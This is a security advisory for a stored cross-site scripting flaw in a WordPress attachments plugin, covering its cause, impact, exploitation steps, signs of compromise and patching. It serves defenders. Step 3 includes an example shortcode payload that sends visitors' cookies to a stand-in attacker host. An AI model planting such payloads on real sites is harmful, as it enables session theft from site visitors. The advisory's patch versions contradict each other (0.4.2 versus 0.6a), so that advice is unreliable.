CVE-2025-12717: 
WordPress vulnerability analysis and mitigation

CVE-2025-12717 is a Stored Cross-Site Scripting (XSS) vulnerability in the List Attachments Shortcode plugin for WordPress. It affects all versions up to and including 0.4.1a, and was disclosed on December 6, 2025. The flaw allows authenticated attackers with Author-level access or higher to inject arbitrary web scripts via the before_list parameter in the [list-attachments] shortcode. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is insufficient input sanitization and output escaping of the before_list shortcode parameter, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). An authenticated user with at least Author-level privileges can craft a [list-attachments before_list="<script>...</script>"] shortcode and embed it in a post or page. When any site visitor loads the affected page, the injected script executes in their browser context. The fix was introduced in version 0.6a, where the parameter is properly sanitized at lines 47 and 85 of class-list-attachments-shortcode.php (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of any user who visits an injected page, impacting confidentiality (e.g., session cookie theft, credential harvesting) and integrity (e.g., page defacement, malicious redirects). Because the payload is stored server-side, every subsequent visitor is affected without any further attacker interaction. The scope is changed (S:C), meaning the impact extends beyond the attacker's own session to all site visitors, though availability is not directly affected (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-12717. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability requires authenticated access at the Author level or above, which limits the attacker pool. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Gain Author-level access: Obtain or compromise a WordPress account with at least Author-level privileges on the target site (e.g., via credential stuffing, phishing, or account registration if open).
2. Create or edit a post/page: Navigate to the WordPress editor and create or edit a post or page where the [list-attachments] shortcode can be used.
3. Inject malicious payload: Insert the shortcode with a crafted before_list parameter containing a JavaScript payload, e.g., [list-attachments before_list="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the content: Publish or update the post/page so the malicious shortcode is stored in the database.
5. Trigger execution: When any site visitor (including administrators) loads the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API containing before_list parameters with HTML tags or JavaScript (<script>, onerror=, javascript:, etc.).
• Database: Suspicious entries in the wp_posts table where post content includes [list-attachments before_list="<script> or similar encoded payloads.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing the [list-attachments] shortcode.
• File System: No direct file system artifacts expected for this stored XSS; however, monitor for newly created or modified posts/pages by Author-level accounts containing shortcode with unusual parameters.

Update the List Attachments Shortcode plugin to version 0.4.2 or later (the fix was implemented in 0.6a), which properly sanitizes and escapes the before_list parameter (Wordfence, WordPress Trac). As a temporary workaround, restrict Author-level and above accounts to trusted users only, or disable the plugin until patching is possible. Site administrators should also review existing posts and pages for any suspicious [list-attachments] shortcode usage with unexpected before_list values.

The vulnerability was discovered and reported by Wordfence, which assigned the CVE and published the advisory on December 6, 2025. No significant broader media coverage or notable community discussion has been identified beyond standard vulnerability database aggregation (Wordfence).